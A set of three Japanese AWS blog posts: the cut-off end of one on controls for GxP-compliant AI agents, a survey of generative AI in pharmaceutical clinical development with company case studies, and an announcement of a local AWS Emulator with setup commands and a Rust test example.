を提供しており、モデルのリスクをスキャンする統制の構築に活用できます。 敵対的テスト ( レッドチーミング ) と批評・採点モデル Amazon Bedrock の評価ツールは、モデルの適合性の評価に役立ちます。Amazon Bedrock は主要なモデルプロバイダーに対応しているので、GxP システムで複数のモデルを使って二次、三次の検証を行えます。 内部監査 AWS CloudTrail は、エージェントのアクションをレビューして手順の遵守を確認する効率的な手段を提供します。 是正的統制 モデルとプロンプトのロールバック AWS CodePipeline と AWS CloudFormation を使い、問題を検出したときに、モデルやプロンプトテンプレートを正常に動作していた以前のバージョンへ素早く戻します。 システムのフォールバック AWS Step Functions を使うと、主となるエージェントが失敗した場合に、より簡素で制約の強いモデルや、人だけで行うワークフローへのフォールバックをオーケストレーションできます。 ヒューマンインザループとエスカレーションの管理 AWS Step Functions、Amazon Simple Notification Service ( Amazon SNS ) 、Amazon Bedrock Flows で、人の承認を待って一時停止するワークフローをオーケストレーションできます。エージェントの確信度のスコアが低い場合や異常を検出した場合に、動的に承認を求めることもできます。 CAPA のプロセス AWS Systems Manager OpsCenter は運用上の問題を一元管理する場を提供し、エージェントの失敗の根本原因分析の追跡に使えます。 インシデント対応計画 AWS Security Hub で、AI のセキュリティインシデント ( 大規模なジェイルブレイクやデータ漏えいなど ) への対応計画を自動化し、一元的なダッシュボードで管理できます。 災害復旧計画 ( DRP ) AWS Elastic Disaster Recovery ( AWS DRS ) と AWS Backup は、別の AWS リージョンへのデプロイを含め、AI アプリケーションのスタック全体を複製して復旧するためのツールを提供します。 表 2. エージェント型 AI システムの予防的統制、発見的統制、是正的統制と、支援する AWS のサービス まとめ ヘルスケア・ライフサイエンスの組織は、イノベーションと規制要件のバランスを取るリスクベースのフレームワークを採用することで、GxP に準拠した AI エージェントを構築できます。そのためには、適切なリスクの分類、システムの影響に見合った統制、 AWS の責任共有モデル の理解が必要です。AWS は適格性が確認されたインフラストラクチャと包括的なサービスを提供し、組織は適切な統制を設定し、バージョン管理を維持し、自社のバリデーションのニーズに合わせたリスク低減策を実装します。 AWS のサービスを使った GxP 準拠の AI エージェントの構築を、ぜひご検討ください。規制環境でコンプライアンスに沿った AI システムを実装する方法について詳しくは、AWS のアカウントチームにお問い合わせいただくか、ヘルスケア・ライフサイエンスの ソリューションのページ をご覧ください。 著者について Pierre de Malliard Pierre de Malliard は、Amazon Web Services のシニア AI/ML ソリューションアーキテクトで、ヘルスケア・ライフサイエンス業界のお客様を支援しています。 Ian Sutcliffe Ian Sutcliffe は、IT 分野で 25 年以上の経験を持つグローバルソリューションアーキテクトで、主にライフサイエンス業界に携わってきました。規制対象のクラウドコンピューティングの分野のソートリーダーであり、お客様が規制に対応したクラウドネイティブ ( Regulated Cloud Native ) になれるよう、IT の運用モデルとプロセスの最適化、自動化に注力しています。 Kristin Ambrosini Kristin Ambrosini は、Amazon Web Services の生成 AI スペシャリストです。ヘルスケア・ライフサイエンス全体でスケーラブルな生成 AI ソリューションの導入を推進し、創薬の変革と患者のアウトカムの改善に取り組んでいます。科学の専門知識、技術力、ビジネス戦略を兼ね備えています。生物科学の博士号 ( Ph.D. ) を持っています。 Ben Xavier Ben Xavier は、医療機器の研究開発で 25 年以上の経験を持つ MedTech スペシャリストです。テクノロジーとベストプラクティスによって MedTech 業界を近代化し、イノベーションを加速して患者のアウトカムを改善することに情熱を注ぐリーダーです。 翻訳はソリューションアーキテクトの森下が担当しました。

このブログのポイント 2026 年、臨床開発の 4 つの業務領域すべてで、PoC から実装に移る事例が出そろった 成果を分けているのは AI モデルの選択ではなく、データとコンテキストの整備、プロセスの組み替え、人が判断する線の設計 日本の製薬企業は、ICH M11 への対応を、AI 活用の土台づくりの起点にできる はじめに 臨床開発は、製薬企業のバリューチェーンの中で最もコストと時間がかかる領域です。そして、2025 年から 2026 年にかけて、生成 AI と AI エージェントの活用が大きく動いた領域であると感じています。2025 年の時点では、多くの取り組みが PoC の段階や、大きな構想を掲げる段階にありました。しかし 2026 年には、多くのグローバル製薬企業が実装を進め、具体的な成果を報告するようになりました。このブログでは、臨床開発を 4 つの業務領域に分け、各領域での AI の使われ方と成果、成果を出している企業の共通点、そして日本の製薬企業への示唆について整理したいと思います。事例には、講演録画や発表資料、ブログへのリンクを付けました。個別イベントの報告ではなく、臨床開発に携わる方が自社の 2026 年の現在地を確かめるための地図として使っていただければと思います。 なぜ今、臨床開発なのか？ 新しい医薬品を患者さんに届けるまでには 10〜12 年、約 26 億ドルがかかり（ DiMasi ほか, 2016 ）、その時間とコストのおよそ 3 分の 2 を臨床開発が占めます。臨床試験の施設のおよそ半数は患者さんを 1 例も登録できず、試験の約 40% は登録目標に届きません（ AWS ブログ ）。試験プロトコルの 57% に 1 回以上の大幅な改訂があり、その約半数は回避可能だったという調査もあります（ Getz ほか, 2016 ）。創薬研究側で AI による候補分子の探索が加速するなか、臨床開発がボトルネックにならないための変化が求められています。 図 1：「今が変革のとき」とする 4 つの理由（出典： EMEA 基調講演 ） 2026 年 6 月の AWS Life Sciences Symposium EMEA の基調講演で、AWS の Boris Bogdan は「今が変革のとき」だとして 4 つの理由を挙げました。 変革プロジェクトの本格化。 この 18〜24 か月で、経営が主導し部門をまたぐ大型の変革プロジェクトが、本番運用を前提に相次いで立ち上がっています。運用を続けるほどデータと判断の記録が蓄積されるため、先行した企業との差は後から縮まりにくい構造です。 技術の成熟。 AI エージェントが複数のシステムをまたいで作業を進め、人の確認まで含めて業務に組み込めるようになりました。問われるのはモデルの性能ではなく、AI に渡すデータとコンテキストを用意できているかどうかに移っています。 サイエンスの進展。 バイオマーカーで対象を絞り込めるようになった一方で、適格な患者さんは少なくなり、プロトコルは複雑になります。この最適な塩梅を AI とデータ基盤で支えられるかどうかが、試験の精度と速さを左右します。 規制の整備。 ICH E6(R3) （2025 年 1 月）、FDA の ドラフトガイダンス （2025 年 1 月）、EMA の リフレクションペーパー （2024 年 9 月）、EMA と FDA の 10 の原則 （2026 年 1 月）と、AI 活用の枠組みが米欧でそろい始めました。規制上の不確実性は、投資を先送りする理由になりにくくなっています。 こうした背景から、2025 年時点で、ライフサイエンス業界の生成 AI 投資の約 70% は臨床試験に向かっていました（ AWS ブログ ）。 4 つの業務領域と AI 活用の現在地 臨床試験は、数え切れないほどの意思決定の積み重ねです。どの施設を選ぶか、どの適格基準にするか、どのデータをどう変換するか。AI が成果を上げているのは、これらの意思決定と、その間をつなぐ文書・データ作業です。 図 2：AI 活用が期待できる臨床開発ライフサイクル（出典： 基調講演 ） 2026 年のニューヨークの基調講演で、AWS は臨床開発のライフサイクルを、試験設計・立ち上げ、施設選定・試験実施、データ変換、解析・申請の 4 つの業務領域で示しました（図 2）。本記事もこの区分に沿って見ていきます。どの領域から取り組むかは、各社の課題によって変わります。最初に全体を 1 枚の表にまとめます。 業務領域 主な課題 AI 活用 事例と成果 試験設計・立ち上げ 部門間で順番に引き継ぐため計画に時間がかかり、改訂も多い 試験計画のシミュレーション、RWD によるプロトコルの事前検証 Novartis：70 ページの計画書と 20 超の役割を、1 日のプランニングと 5 未満の役割へ（目標）／QuantHealth：600 超の試験をシミュレーションし、エンドポイント予測の精度は 90% 超／Novo Nordisk：データに含まれる患者さんと分析に使える患者さんの 10 倍の差を事前に把握 施設選定・試験実施 施設の約半数が 1 例も登録できない 施設パフォーマンスの予測と、根拠付きのランキング Merck & Co.（MSD）：BCG と施設パフォーマンス予測の STRIDE を構築し、根拠付きで施設をランク付け データ変換 データが試験ごと・モダリティごとに分かれている。ADaM と TLF は手作業でプログラミングし、二重プログラミングで検証している 取り込みから DWH 格納までを自動化する ETL エージェント、ADaM・TLF を生成するエージェントと形式検証 Bayer：臨床バイオマーカーのデータフロー 数か月→2 週間／AbbVie：プロトコルを起点に SAP、ADaM、TLF までをエージェントで生成し、二重プログラミングを形式検証で置き換え 解析・申請 数百ページの文書を人手で起草・整合確認する データと過去文書を根拠にした初稿生成 塩野義製薬：CSR 1〜13 章の初稿を約 10 分で生成、作成時間 約 50% 削減（PoC）／Novo Nordisk：臨床文書作成時間 90% 削減 1. 試験設計・立ち上げ（Novartis、QuantHealth、Novo Nordisk） 試験計画は長く、部門から部門へ順番に引き継ぐ形で進められてきました。文書が部門を渡るたびに待ち時間が積み上がり、修正が入れば最初からやり直しになります。 Novartis はこの領域で最も長く取り組んできた企業の 1 つです。2025 年には、Fast-to-IND、オペレーション改善、AI 活用の 3 つの取り組みを合わせて開発期間を最大 19 か月短縮する計画と、その中核としてデジタルツインで臨床試験のワークフローを事前にシミュレーションする Intelligent Decision System を紹介しました（ 講演録画 ／ 発表資料 ）。2026 年には、この仕組みを試験計画の「コンピュテーショナル・ツイン」として形にしています。社内の試験データ、リアルワールドエビデンス、予測モデルを組み合わせて、承認、施設の立ち上げ、患者登録のタイムラインを確率的に示し、リソースを投じる前に判断を試せます。あわせて、従来は 70 ページの計画書と 20 を超える責任者の役割を必要としたプロセスを、1 日のプランニングと 5 未満の役割で回すことを目指しています（ AWS ブログ ）。 もう一歩先の動きとして、試験デザインそのものを大規模にシミュレーションするアプローチも出てきました。2026 年 6 月の AWS Life Sciences Symposium EMEA の基調講演では、イスラエルのスタートアップ QuantHealth が紹介されました。3 億 5,000 万人を超える患者データと独自のナレッジグラフで 600 件超の臨床試験をシミュレーションし、個々のエンドポイントを 90% 超の精度で予測しているといいます（ 講演録画 ）。「速く回す」ことよりも「正しい設計を選ぶ」ことに AI を使う流れです。 設計の前提になる RWD が本当に使えるかを、事前に確かめる動きもあります。Novo Nordisk は、RWD を手元に集めずに、データがある場所で直接問い合わせる仕組み（クエリ・イン・プレイス）に切り替えました。試験参加者 1,175 人を、個人を特定できない形で 4 種類の RWD の中から探したところ、「データに登場する患者さん」と「分析に必要な項目がそろっている患者さん」の数には 10 倍の差がありました。ある種類の RWD では、患者さんの 11% が見つかったものの、必要な項目がそろっていたのは 1% だけでした（ AWS ブログ ）。RWD を試験設計に使うなら、「データがある」ことと「使える」ことを分けて確かめる必要があるということです。 2. 施設選定・試験実施（Merck & Co.） 冒頭で触れた「施設の約半数が 1 例も登録できない」という問題は、試験遅延の直接の原因になっています。 Merck & Co.（日本では MSD）は BCG とともに、施設のパフォーマンスを予測する STRIDE を構築しました。過去の登録実績、立ち上げにかかった期間、登録ゼロになるリスクから施設を評価し、根拠を説明できる形でランク付けします。多様性への貢献が見込めるか、同社にとって初めての施設かといった戦略上の属性も示します（ AWS ブログ ）。STRIDE は、同社が数年かけて構築してきた統合的な臨床データ基盤の上で動いています。この基盤については、2025 年のシンポジウムで講演しています（ 臨床トラック録画 ／ 基調講演録画 ／ 発表資料 ）。予測モデルが使えるのは、その下に整ったデータがあるからです。 3. データ変換（Bayer、AbbVie） 臨床データは、試験ごと、システムごとに分かれて管理されがちです。2025 年の時点で、Merck & Co. は SDTM への標準化や外部データの自動取り込みを備えた臨床データ基盤を紹介していました。2026 年には Bayer が Data Science Ecosystem を紹介しました。試験ごと、モダリティごとにばらばらだったデータを、「CRO から届いたままの生データ」「チェックして整えたデータ」「すぐ分析に使えるデータ」の 3 層に分けて管理する構成です。銅・銀・金のメダルになぞらえてメダリオン構成と呼ばれ、層を上がるほどデータの品質が高まります。層から層へデータを移す取り込み、クレンジング（QC/ETL）、DWH への格納は、Claude Code をベースにした ETL エージェントで自動化しました（ 基調講演 ）。誰がどのデータを見られるかは、開発プログラムごとの役割で決めています。エージェントが領域の専門家と協働することで、臨床バイオマーカーのデータフローは数か月から 2 週間に短縮されています。マルチモーダルの Data Navigator では、臨床、薬物動態、バイオマーカー、デジタルバイオマーカー、画像のデータをまとめて分析でき、医薬品とコンパニオン診断薬の並行開発を支えています（ AWS ブログ ）。 変換の先にある統計プログラミングでは、AbbVie が先行しています。ADaM データセットと TLF（Tables, Listings, Figures）は申請の土台ですが、統計プログラマーが統計解析計画書（SAP）を読み解いてコードを書く逐次型の作業で、1 セクションに数週間かかります。品質確保のために、別の担当者が同じプログラムを独立に書いて結果を突き合わせる二重プログラミングも求められてきました。AbbVie はこの工程をエージェントのパイプラインで自動化し、プロトコルを起点に SAP、ADaM、TLF までをエージェントが生成します。二重プログラミングは Formal Verification（形式検証）に置き換えました。形式検証は、コードが仕様どおりに動くことを、テストではなく数学的・論理的に証明する手法です（ 基調講演 ）。 データを整える側では Bayer が、そこから解析結果を生成する側では AbbVie が先行しています。2 社の取り組みを組み合わせると、データの取り込みから申請までを自動でつなぐ「Automated Submission Backbone」の姿が見えてきます。 4. 解析・申請（塩野義製薬、Novo Nordisk） TLF ができあがると、次は CSR をはじめとする申請文書の作成です。文書作成は、生成 AI の効果が最も見えやすい領域です。国内では塩野義製薬が先行しています。同社は治験総括報告書（CSR）と治験実施計画書の作成支援システムを Amazon Bedrock で構築し、社内とは AWS Direct Connect で接続しています。ICH E3 の章構成に沿って、CSR の 1〜13 章、約 200 ページの初稿を約 10 分で生成します。GCP 監査に対応する文書管理システムとは切り離して運用しています。ClinicalTrials.gov の試験検索や ICH ガイドラインの検索機能も、すでに本番で使われています（ 講演録画 ）。PoC では作成時間を CSR で約 50%、治験実施計画書で約 20% 削減し、このソリューションは日立製作所にライセンス提供されています（ プレスリリース ）。初稿が約 10 分で出ても、メディカルライターの修正を含めた全体でどれだけ効率化できるかは、各社がいま検証している論点です。 海外では、Novo Nordisk が AWS 上で Anthropic の Claude を使い、臨床文書の作成時間を 90% 削減しました（ AWS ）。同社は 2026 年 8 月に AWS との戦略的パートナーシップを発表し、臨床文書作成時間の短縮をすでに出ている成果の 1 つに挙げています（ 同社発表 ）。 成果を出している企業の共通点 4 つの業務領域を並べると、成果の大きさを分けているのは AI モデルの選択ではないことがわかります。共通点は 3 つあります。 図 3：臨床開発の 3 つの重点。基盤を整える、AI で臨床プロセスを組み替える、Go/No-Go の判断を賢くする（出典： EMEA 基調講演 ） 図 4：AI アーキテクチャの 3 層。最下層のデータとセマンティクスを、AI 活用における自社の参入障壁と位置づけている（出典： EMEA 基調講演 ） データとコンテキストを先に整える Merck & Co. の STRIDE は数年がかりの臨床データ基盤の上に乗っており、Bayer はプログラム単位でデータを整理し直しています。AI エージェントが正しく動くには、社内の用語、データ同士の関係、業務上のルールを理解できるようにするセマンティックレイヤーが欠かせません。EMEA の基調講演では Roche が、AI エージェントが正確に動くためのエンタープライズのセマンティックデータレイヤーの構築を紹介しました。同じ講演では、オントロジーに基づくナレッジグラフを使うと、臨床 Q&A でのハルシネーション率が 63%（ChatGPT-4 単体）から 1.7% に下がったという研究（臨床の質問 60 問での評価）も紹介されています（ Ali ほか, J Biomed Inform , 2026 ）。 AI を入れる前にプロセスを組み替える 人が担う前提で作られた業務プロセスに AI エージェントを足しても、エンドツーエンドではほとんど速くなりません。1 つの工程だけが劇的に速くなっても、下流が同じペースで動いていれば、患者さんに薬が届く日は変わりません。成果を出している企業は、既存の業務プロセスや役割そのものを見直しています。AbbVie は、二重プログラミングを AI に代行させるのではなく、形式検証に置き換えることで、工程そのものをなくしました。 人が判断する線を決める Novartis では、AI の分析を受け取って判断する人の役割を 1 つに絞ろうとしています。その役割を担う人は、決められた範囲の中であれば自分の判断で意思決定し、前に進めることができます。判断にはタイムスタンプが付き、どのデータと予測をもとに何を決めたかをシステム上で後から追跡できます。記録された判断は次の試験の学習にも使われます（ AWS ブログ ）。Bayer では、ETL エージェントが動かすデータフローを領域の専門家が承認しています。 日本の製薬企業への示唆と始め方 日本の製薬企業には、グローバル本社との連携、日本語と英語が混在する文書、MedDRA などの国際標準と日本語の医学用語との対応といった固有の事情があります。これに加えて、治験実施計画書を電子的に構造化する ICH M11 への対応も控えています（ 製薬協 ）。プロトコルが機械で読める形になれば、本記事で見てきたエージェントのパイプラインの起点になります。M11 対応を様式の変更で終わらせず、AI 活用の土台づくりとして進められるかどうかが、次の差になると思います。そのうえで、始め方について 3 つ提案します。 価値の高いプロセスを 1 本に絞る。 数十のユースケースを並行して走らせるより、TLF、CSR、施設選定など、グローバルで効果が確かめられ始めた業務プロセスを 1 つ選び、エンドツーエンドで組み替えるほうが、短縮の効果が目に見えます。 M11 を起点に、データとコンテキストの整備を同時に始める。 最初のユースケースは PoC で終わらせず、実装まで見据えて設計します。構造化されたプロトコルを入口に、将来の試験にも使えるデータ基盤とセマンティックレイヤーを作るきっかけにします。 人が判断する線を最初に決める。 どこからを人が確認するかを、実際の業務データで検証しながら決めます。GxP と申請に耐えられる透明性と品質を確保するため、誰が何をもとに判断したかを後から説明できる記録の仕組みも、このとき一緒に設計しておきます。 AWS では、業務プロセスを AI エージェント前提で組み替えるワークショップ（ AI-BPR ）、 AI 駆動開発ライフサイクル（AI-DLC） による開発の加速、生成 AI を実際に触るハンズオン、経営層との議論の場としての Executive Briefing Center をご用意しています。まず手を動かして感触を確かめたい方には、日本のヘルスケア・ライフサイエンス向けの生成 AI デモ集 HealthData x Agent があります。関心のあるテーマがあれば、AWS のアカウントチームにお声がけください。 おわりに 本記事では、臨床開発を 4 つの業務領域に分け、2026 年時点の AI 活用の現在地と、成果を出している企業の共通点を整理しました。2025 年から 2026 年にかけて、臨床開発の AI 活用は「何ができるか（What）」から「どうやって成果を出すか（How）」へと問いが変わりました。成果が出始めた今、差を生んでいるのは技術そのものよりも、データの整え方とプロセスの組み替え方です。臨床開発に携わる皆さんは、1 か月でも、1 日でも早く患者さんに薬を届けるという使命を背負って、日々の試験に向き合っています。私たちはその取り組みを、テクノロジーの面から少しでも後押しできればと考えています。日本の臨床開発の現場の皆さんと、その 1 か月、1 日をどう生み出すかを一緒に考えていければ幸いです。 亀田 俊樹（Toshiki Kameda, Ph.D., MBA） ヘルスケア・ライフサイエンス事業開発部のシニア事業開発マネージャーで、製薬業界で 20 年以上の経験を持ち、特にメディカルアフェアーズ、コマーシャルと製薬デジタル戦略（DTx 含む）を得意としています。慶應義塾大学で医療政策・管理学の博士号を取得し、ポスドク研究員として医療データ分析とアウトカムリサーチに従事しました。趣味はドライブと BBQ です。 関連リンク ブログ Highlights from Clinical Trials at the 2026 AWS Life Sciences Symposium （英語） Executive Insights from the 2026 AWS Life Sciences Symposium （英語） 第 1 回 AWS ライフサイエンス・シンポジウム欧州：エグゼクティブ・インサイト 臨床開発セッションのハイライト – 第 7 回 AWS ライフサイエンス シンポジウム （2025 年） 講演録画 2026 AWS Life Sciences Symposium 基調講演（ニューヨーク） ／ EMEA 基調講演（チューリッヒ） ／ 2025 年 基調講演 2025 年 臨床トラック： Novartis ／ Merck & Co. （ 基調講演 ） 塩野義製薬：AWS Summit Japan 2025 講演 発表資料（2025 年 臨床トラック） Novartis ／ Merck & Co. 関連する AWS サービス 本文で紹介したサービス： Amazon Bedrock ／ AWS Direct Connect 支援・規制対応： GxP コンプライアンス ／ AWS のライフサイエンス向けソリューション ／ HealthData x Agent

2026 年 11 月 11 日、Amazon Web Services (AWS) のローカルエミュレーターであり、マシン上で実行できる AWS Emulator を発表しました。 AWS コマンドラインインターフェイス (AWS CLI) 、 AWS SDK 、およびコーディングエージェントは、ラップトップからクラウドで使用するのと同じ AWS API を使用して、ローカルの HTTPS エンドポイントを介して通信します。AWS エミュレータには追加のサービス料金はかかりません。AWS にデプロイする場合、料金は AWS リソースに対してのみ発生します。そのソースは GitHub にあります。Linux では RPM または Debian パッケージからインストールし、macOS と Windows では Docker で実行します。 仕組み エミュレータをインストールして起動し、ツールをローカルエンドポイントに向けます。AWS Emulator が起動すると、独自の認証情報、設定ファイル、および証明書が生成され、 ~/.aws/emulator/9297/ に書き込まれます。AWS SDK が AWS ではなくラップトップと通信するように環境変数を設定すると、アプリケーションコードは変更されません。 そこから、既存のテスト、CLIスクリプト、およびコーディングエージェントは、これまでのように機能し続けます。 Amazon DynamoDB テーブルを作成し、項目を書き込み、それを読み戻すユニットテストも同じテストであり、デプロイなしでマシン上で実行されます。コーディングエージェントは、リージョンへのデプロイを待たずに、リソースを作成し、結果を確認し、繰り返し処理を行うことができます。 エミュレータは Rust で実装されているため、ラップトップの CPU とメモリをあまり使用しません。GitHub の AWS API モデルリポジトリに API モデルがある AWS サービスの API をサポートし、それらのモデルから構築されているため、AWS SDK が使用するものと同じモデルで、リクエストや返されるエラーは AWS と同じ形になります。 開発者、特に Kiro や Claude Code などのコーディングエージェントを扱う開発者であれば、このループを使用して、本当に複雑な AWS インタラクションをローカルでテストできます。 試してみましょう はじめに、 Amazon Linux 2023 にパッケージをインストールしました。このパッケージは aws-emulator コマンドを /usr/bin/ に追加するので、このコマンドはパス上にあります。 PKG=https://downloads.aws.com/aws-emulator/packages/aws-emulator/LTS/latest sudo dnf install -y $PKG/aws-emulator-x86_64.rpm aws-emulator -v macOS と Windows では、ドキュメントに記載されている短い Dockerfile から Docker イメージを作成し、コンテナーでエミュレーターを実行します。既製のイメージは公開しません。 aws-emulator でエミュレータを起動しました。 127.0.0.1:9297 で HTTPS を提供するので、自分のコンピューターしかアクセスできず、アドレス、設定ファイル、証明書ファイルを示す JSON 行としてログを書き込みます。 aws-emulator 別のターミナルで、AWS CLI をエミュレータに向ける環境変数を設定し、実際の AWS 認証情報を提供できる変数を設定解除しました。 export AWS_ENDPOINT_URL=https://127.0.0.1:9297 export AWS_SHARED_CREDENTIALS_FILE=~/.aws/emulator/9297/emulator_credentials export AWS_CONFIG_FILE=~/.aws/emulator/9297/config export AWS_EC2_METADATA_DISABLED=true export AWS_DISABLE_HOST_PREFIX_INJECTION=true export AWS_REGION=us-east-1 export AWS_DEFAULT_REGION=us-east-1 unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_PROFILE エミュレータは、起動するたびに新しいキーを生成します。アクセスキー ID は EMULATOR で始まるため、実際の AWS キーと間違えることはなく、他のキーで署名されたリクエストは拒否されます。シェルがエミュレータと通信していることを確認するために、ヘルスエンドポイントと呼び出し元の ID を確認しました。エミュレータは、 000000000000 という単一のアカウントを使用します。 curl --cacert ~/.aws/emulator/9297/ca.pem https://127.0.0.1:9297/__admin/health aws sts get-caller-identity 次に、バケットを作成し、小さなオブジェクトにコピーしてリストしました。 $ aws s3 mb s3://local-getting-started make_bucket: local-getting-started $ echo "hello from the emulator" > hello.txt $ aws s3 cp hello.txt s3://local-getting-started/ アップロード: ./hello.txt から s3://local-getting-started/hello.txt $ aws s3 ls s3://local-getting-started/ AWS CLI をラップトップに向けて、すでに使用しているのと同じコマンドと、それらに応答するローカルエンドポイントを使用できました。 次に、実際の作業方法を確認したかったので、エミュレータがまだ実行されている状態で Kiro を開いて、Amazon DynamoDB テーブルを作成し、項目を書き込み、読み戻すように依頼しました。これらはすべて、AWS アカウントではなく AWS Emulator に対して行われます。 kiro> ローカルの AWS Emulator (このシェルでは環境変数が すでに設定されています) を使用して、 文字列キー "id" を持つ DynamoDB テーブル "kiro-demo" を作成し、 アイテム {id: "item-1", msg: "hello from kiro"} を格納した後、 get-item コマンドでそれを読み出してください。 $ aws dynamodb create-table --table-name kiro-demo \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST $ aws dynamodb put-item --table-name kiro-demo \ --item '{"id": {"S": "item-1"}, "msg": {"S": "hello from kiro"}}' $ aws dynamodb get-item --table-name kiro-demo --key '{"id": {"S": "item-1"}}' 既存のテストスイートで同じセットアップを使用するには、エミュレータを起動し、テストを実行するスクリプトに同じ環境変数を設定し、通常どおり実行します。 処理中のエミュレータの使用 エミュレータをローカルプロセスとして実行すると、環境変数を通じて AWS CLI および AWS SDK と連携する HTTPS エンドポイントが得られます。一部の SDK では、エミュレータ証明書を信頼するための追加設定が必要です。たとえば、 AWS SDK for Java のトラストストアなどです。テストには、2 つ目の選択肢があります。AWS Emulator には、ネットワーク経由で別のサーバーと通信するのではなく、テストプロセス内で直接インスタンス化し、HTTP クライアントを介して SDK に接続する組み込みモードが付属しています。各組み込みインスタンスは独自の状態を保持するため、テストはバケット、テーブル、またはキューを共有せず、それらの多くを並行して実行できます。埋め込みモードは AWS SDK for Rust で使用できます。GitHub から aws-emulator-embedded クレートを取得し、 Cargo.toml ファイルの [dev-dependencies] セクションに追加します。次の例では、Amazon DynamoDB テーブルを作成し、項目を書き込み、それを読み込みます。これらはすべてプロセス内で行われます。 use aws_emulator_embedded::{AwsEmulatorEmbedded, EmbeddedOptions}; use aws_sdk_dynamodb::types::{ AttributeDefinition, AttributeValue, BillingMode, KeySchemaElement, KeyType, ScalarAttributeType, }; #[tokio::test] async fn put_then_get_returns_the_item() { let emulator = AwsEmulatorEmbedded::new(EmbeddedOptions::default()); let config = aws_config::defaults(aws_config::BehaviorVersion::latest()) .http_client(emulator.http_client()) .region(aws_config::Region::new("us-east-1")) .credentials_provider(emulator.aws_credentials_provider()) .load() .await; let ddb = aws_sdk_dynamodb::Client::new(&config); ddb.create_table() .table_name("emulator-demo-table") .attribute_definitions( AttributeDefinition::builder() .attribute_name("id").attribute_type(ScalarAttributeType::S) .build().unwrap()) .key_schema( KeySchemaElement::builder() .attribute_name("id").key_type(KeyType::Hash) .build().unwrap()) .billing_mode(BillingMode::PayPerRequest) .send().await.unwrap(); ddb.put_item() .table_name("emulator-demo-table") .item("id", AttributeValue::S("item-1".into())) .item("msg", AttributeValue::S("hi".into())) .send().await.unwrap(); let got = ddb.get_item() .table_name("emulator-demo-table") .key("id", AttributeValue::S("item-1".into())) .send().await.unwrap(); assert_eq!(got.item().unwrap().get("msg").unwrap().as_s().unwrap(), "hi"); } エミュレータをローカルプロセスとして実行する場合、AWS と同じように、すべてのリクエストに Signature Version 4 (Sigv4) で署名する必要があります。また、スクリプトまたはコンテナが準備が整うまで待ってからテストを実行できるように、同じポートに /__admin/health エンドポイントを公開します。デフォルトでは、匿名の使用状況データやエラーデータも送信されますが、オフにすることもできます。 忠実度の測定方法 エミュレーターは、それに対して合格したテストが AWS にも合格する場合にのみ役立ちます。そのため、その一致度を忠実度テストで直接測定します。忠実度テストは、AWS SDK を使用してオブジェクトの保存、読み取り、削除などのワークフローを実行し、AWS の動作を確認する短いプログラムです。各忠実度テストを実際の AWS と照合して検証します。忠実度テストに合格するのは、ステータスコード、本文、正確なエラーコードとメッセージを含むすべての呼び出しへの応答と、ワークフローが作成するリソースとデータについて、エミュレータが AWS と一致する場合のみです。 リリースごとに、各サービスで合格したフィデリティテストの数を n 件中 k 件として公開しています。たとえば、50 件中 40 件ということは、サービスの 50 件のフィデリティテストのうち 40 件が合格したことを意味します。まだ合格していないものも含めて、一連の忠実度テストは GitHub の aws-emulator-evaluation-suite リポジトリで公開されているため、検証内容を確認して自分で忠実度テストを実行できます。スコアは、改善傾向にある製品のスナップショットとして読み取ることができます。忠実度テストを追加すると、エミュレータが改善されてもスコアが下がることがあります。 エミュレータがまだ操作を実装していない場合、HTTP 501 (Not Implemented) が返されるため、テストはすぐに失敗します。エミュレータの動作が AWS と異なる場合は、GitHub の AWS Emulator リポジトリでイシューを開いてお知らせください。 エミュレータの構築方法 AWS Emulator は、 Amazon Bedrock AgentCore ランタイムインスタンス、 AWS CodePipeline 、および AWS CodeCommit を使用して AWS API モデルのエージェントによって構築および保守されているため、これらのモデルが変更されても AWS で最新の状態に保たれます。 あるエージェントグループは、エミュレータの応答を実際の AWS と比較したり、エミュレータのコードを公開されている Smithy モデルと静的に比較したりしてギャップを探し、見つかったギャップごとに問題を報告します。別のグループが問題を取り上げてテストを書き、動作を実装し、変更の正確性、パフォーマンス、およびセキュリティを確認します。変更の準備が整うと、ソースリポジトリにプッシュされ、そのプッシュにより AWS CodePipeline の実行がトリガーされ、変更がパブリック GitHub リポジトリに公開される前に忠実度テストが実行されます。 安全に保つ方法 コードはエージェントによって記述されるため、独立したセキュリティエージェントが変更を敵対的にレビューします。修正が行われている間も、リリースパイプラインで何かが出荷される前の最終チェックとしても同様です。 お客様自身が使用する場合のセキュリティは、引き続き共同の責任です。エミュレータは、お使いのマシン上で安全に動作するように構築されています。デフォルトでは自分のコンピュータでのみリッスンし、独自のキーで署名されていないリクエストは拒否されます。実行場所、入力するデータ、本番前のテスト方法を決定できます。アプリケーションが安全かどうかをテストするためにエミュレータを使用しないでください。 AWS のアイデンティティとアクセス管理 (IAM) ポリシーやリソースベースのポリシーは AWS のように評価されないため、AWS が拒否したリクエストはエミュレータで成功する可能性があります。本番環境に移行する前に、実際の認証情報をテストジョブの環境から外し、セキュリティ設定とアプリケーション全体を AWS でテストしてください。 今すぐ利用可能 AWS エミュレータは11 月 11 日に一般公開されました。追加のサービス料はかかりません。AWS にデプロイする場合、料金は AWS リソースに対してのみ発生します。Linux の RPM または Debian パッケージからインストールしたり、macOS や Windows の Docker で実行したり、ソースからビルドしたりできます。環境変数を設定すると、AWS SDK や AWS CLI と連携して動作します。発売時には、いくつかの制限があります。AWS のように IAM ポリシーを評価することはなく、各エミュレータは単一のアカウントとして機能し、クロスアカウントやクロスリージョンの動作はありません。AWS との一致度は、サービスや機能によって異なります。使用しているサービスをエミュレータがどの程度カバーしているかを確認するには、AWS Emulator ドキュメントの忠実度スコアを確認してください。 リージョンの可用性を確認したい場合は、AWS Builder Center の「 リージョン別の AWS 機能 」ページを参照してください。API を呼び出したり、ドキュメントを検索したり、リージョンごとの提供状況を確認したり、この新機能に関するトラブルシューティングを確認したりする場合は、お好みの AI ツールで AWS MCPサーバー と プラグイン を使用してみてください。 開始するには、AWS Emulator のドキュメントを参照してください。 原文は こちら です。

